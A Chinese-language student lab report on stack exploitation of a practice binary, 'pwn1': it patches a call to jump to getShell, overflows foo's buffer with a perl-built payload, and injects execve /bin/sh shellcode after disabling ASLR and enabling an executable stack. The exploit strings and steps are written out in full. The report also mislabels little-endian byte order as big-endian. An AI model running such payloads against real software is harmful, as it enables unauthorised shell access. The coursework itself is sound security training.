目录
- 1.实践内容
- 2.实践过程
- 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 2.3 注入一个自己制作的shellcode并运行这段shellcode
- 3.学习中遇到的问题及解决
- 4.实践总结
1.实践内容
-
本次实践的对象是一个名为
pwn1
的linux可执行文件。-
该程序正常执行流程是:
main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。 -
该程序同时包含另一个代码片段,
getShell
,会返回一个可用Shell
。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
- 实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 实验要求:
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
2.实践过程
- 参考Ubuntu系统修改用户名和主机名修改主机名
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
在学习通中下载目标文件
pwn1
上传到Kali中,将其重命名为pwn20232803
-
切换到桌面目录下,输入命令
objdump -d pwn20232803 | more
对该文件进行反汇编
-
敲击回车键,查看更多内容,找到
main
函数
在main
函数中我们可以看到call 8048491
,而地址8048491
正对应foo
函数,即main
函数调用了foo
函数。继续查看foo
函数,可以发现该函数实现了回显用户输入的字符串的功能。
实验要求我们手动更改文件,使得它直接跳转到getShell
函数。因此,我们需要对这一条指令进行修改。在修改之前,我们先对这条指令进行分析。
对于80484b5: e8 d7 ff ff ff
:80484b5
表示该指令的地址e8
表示跳转d7 ff ff ff
表示偏移量,这个偏移量是下一条要执行的指令的地址与目的地址之间的距离,以补码
的形式表示,并且采用大端模式
(低位字节存入高地址)存储,这里表示-41
- 下一条要执行的指令的地址为
80484ba
,因此,这条指令的含义是:执行地址为80484ba - 41 = 8048491
的指令,8048491
正好对应foo
函数的起点
经过上述分析,修改程序执行流程就变得容易了。
getShell
函数的首地址为804847d
,那么偏移量为804847d - 80484ba = -61 = 0xffffffc3
,采用大端模式存储,即为c3ffffff
因此,将这条指令修改为80484b5: e8 c3 ff ff ff
即可实现直接跳转到getShell
函数 -
输入命令
sudo apt install xxd
安装xxd
-
输入命令
vim pwn20232803
打开文件
-
文件内容如下,可以看到都是乱码
-
输入
:%!xxd
将文件转换成16进制显示
-
输入
/e8 d7
进行搜索,然后敲击回车键
-
按
i
键进入输入模式,将d7
修改为c3
-
按
ESC
键,输入:%!xxd -r
转回原格式,然后输入:wq
保存并退出
-
再次输入
objdump -d pwn20232803 | more
查看反汇编代码
可以看到这里显示了call 8048474 <getShell>
,说明计算是正确的,并且修改成功 -
输入
./pwn20232803
运行文件
可以看到该文件成功调用getShell
函数获取了Shell
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
将刚才的
pwn20232803
文件重命名为pwn20232803-old
,再上传一个pwn
文件,重命名为pwn20232803
-
再次输入
objdump -d pwn20232803 | more
查看反汇编得到的代码
可以看到,在foo
函数中,调用了gets
和puts
两个函数,如果输入的字符串长度超过了缓冲区容量,会发生缓冲区溢出的情况。
foo
函数共有0x38
个字节作为存储空间,给输入的字符串分配了28
字节(0x1c
)的空间,我们要构造一个攻击输入字符串,使它能够将return的地址覆盖为getShell
地址,从而通过调用getShell
函数获取Shell -
getShell
的首地址为0x0804847d
,该地址在指令中应该用\x7d\x84\x04\x08
作为输入。由于我们通过键盘直接输入这种16进制数,所以采用以下命令将字符串输入并存储到文件中
perl -e 'print "wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08"' > input20232803
- 输入命令
xxd input20232803
查看文件,确保字符串的最后4个字节为getShell
函数的地址
- 输入命令
(cat input20232803;cat) | ./pwn20232803
将input
文件的内容作为pwn
文件的输入,实施Bof攻击
提示拒绝访问- 修改
pwn
文件属性,勾选Allow this file to run as a program
- 修改
- 再次运行命令
(cat input20232803;cat) | ./pwn20232803
,成功调用getShell
获取Shell
BOF攻击成功!
2.3 注入一个自己制作的shellcode并运行这段shellcode
- 进入以下网站下载
execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
- 输入命令
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
进行解压
- 输入命令
sudo execstack -s ./pwn20232803
将文件的堆栈设置为可执行状态 - 输入命令
sudo execstack -q ./pwn20232803
检查是否设置成功
- 输入命令
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化 - 输入命令
more /proc/sys/kernel/randomize_va_space
检查是否关闭成功,输入0
表示已关闭,输出1
则为开启
- 构造攻击的方法有
retaddr+nop+shellcode
或nop+shellcode+retaddr
,我们选择前者,shellcode
的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 使用以下命令构造shellcode的输入,其中
\x1\x2\x3\x4
将在后面替换为foo
函数中retaddr
的地址
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
- 输入命令
(cat input_shellcode; cat) | ./pwn20232803
将input_shellcode
文件的内容作为pwn
文件的输入
- 打开另一个终端,输入命令
ps -ef | grep pwn20232803
查看pwn20232803
文件的进程以及进程号
从输出结果中可以看到,pwn20232803
文件的进程号为73465
- 在该终端中继续输入
gdb pwn20232803
进行调试,以获取foo
函数中retaddr
的地址
注:若没安装
gdb
,则需要先输入sudo apt install gdb
进行安装
- 输入命令
attach 73465
查看进程,73465
为刚刚查看的进程号 - 输入命令
disassemble foo
对foo
函数进行反汇编
可以看到,ret
的地址为0x080484ae
- 输入命令
break *0x080484ae
设置断点,然后输入c
继续执行
注:这里输入
c
后,要在第一个终端里按一下回车键,才能中断于断点处,否则将一直保持continuing
状态
- 输入命令
info r esp
查看栈顶指针所在的位置
栈顶指针所在的位置为0xffffd39c
- 再输入命令
x/16x 0xffffd39c
查看该位置存放的内容
其中,0x04030201
即为返回地址的位置。因此,栈顶指针的地址 + 4
即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
- 将之前shellcode输入中的
\x1\x2\x3\x4
采用大端模式替换为\xa0\xd3\xff\xff
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
- 输入命令
(cat input_shellcode; cat) | ./pwn20232803
再次运行,成功获取Shell
攻击成功!
3.学习中遇到的问题及解决
- 问题1:输入
vim pwn20232803
打开文件后,输入:%!xxd
无法转换成16进制- 解决方案:原因是没有安装
xdd
,使用sudo apt install xdd
进行安装
- 解决方案:原因是没有安装
- 问题2:在shellcode实验中,gdb调试时输入
c
后,一直保持在continuing
的状态- 解决方案:在第一个终端中按回车键,gdb便能继续运行了
4.实践总结
这次实践分为三个部分:
- 第一个实践让我深入了解了汇编指令和机器码的工作原理,使我能够准确地修改机器指令,改变程序的执行流程。
- 在第二个实践中,通过利用缓冲区溢出漏洞,我学会了如何构造特定的输入字符串来覆盖函数的返回地址并触发目标函数,这个过程让我深刻理解了缓冲区溢出攻击的原理和危害。
- 在第三个实践中,通过注入自己制作的Shellcode,可以执行特定的命令或程序。但要注意的是,系统一般有防御机制来阻止恶意代码的注入和执行,如地址随机化、栈保护等。在注入Shellcode之前,需要先绕过这些保护机制。